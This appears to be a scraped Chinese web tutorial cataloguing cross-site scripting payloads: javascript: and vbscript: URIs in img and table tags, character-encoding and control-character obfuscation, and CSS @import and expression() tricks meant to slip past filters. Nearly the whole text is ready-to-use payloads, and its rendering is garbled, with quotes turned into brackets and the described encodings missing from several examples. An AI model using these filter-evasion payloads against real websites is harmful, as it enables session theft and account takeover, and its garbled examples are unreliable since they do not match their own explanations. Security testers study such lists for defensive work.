1.脚本插入 (1)插入javascript和vbscript正常字符。 例1:<img src=]javascript:alert(/xss/)]> 例2:<table background=]javascript:alert(/xss/)]></table>’/在表格中插入脚本 例3:<img src=]vbscript:msgbox([a])]> (2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符 例1:<img src=]javascript:alert(/xss/)]> ‘/将j字符转为十进制字符j 。 例2:<img src=]javascript:alert(/xss/)]> ‘/将j字符转为十六进制字符j 。 (3)插入混淆字符。在系统控制字符中,除了头部的�(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如 、 等字符都可插入到 javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。 例1:<img src=] javascript:alert(/a/)]> ‘/插入到代码头部,其中 可写成 ,效果一样 例2:<img src=]java scr ipt:alert(/a/)]> ‘/插入到代码中任意位置,其中 可写成 例3:<IMG SRC=]jav ascript:alert(‘XSS’)]> ‘/ 是回车符的16进制形式 例4:<IMG SRC=]jav ascript:alert(‘XSS’)]> ‘/ 是换行符的16进制形式 2.样式表 www.2cto.com (1)利用CSS代码@import、expression触发XSS 漏洞 。 例1:@import [http://web/xss.css]; ‘导入外部带有XSS代码的 CSS 样式表。 例2:@import’javascript:alert([xss])’; ‘调用javascript脚本触发漏洞 例3:body{xss:expression(alert(‘xss’))} ‘在内部样式表中加入expression事件 例4:<img style=]xss:expression(alert([xss]))]>’在内嵌样式表中加入expression事件 (2)在CSS代码中加入javascript和vbscript脚本 例1:body{background-image:url(javascript:alert([xss]))} 例2:body{background-image:url(vbscript:msgbox([xss]))} (3)转换字符类型,以十六进制字符替换其中或全部的字符: 例1:@\0069mport:url(web/1.css);’//将其中的i转为\0069 例2:body{xss:\0065xpression(alert(‘xss’))}’//将e转换为\0065 例3:body{background-image:\0075\0072\006c…}’将url全转为16进制 (4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符]\]和结束符]\0″也是被忽略的,可以用来混淆字符。 例1:@\0im\port’\0ja\vasc\ript:alert([xss])’; 例2:@\i\0m\00p\000o\0000\00000r\000000t]url];
查看更多关于XSS代码触发条件,插入XSS代码的常用方法 - 网站的详细内容...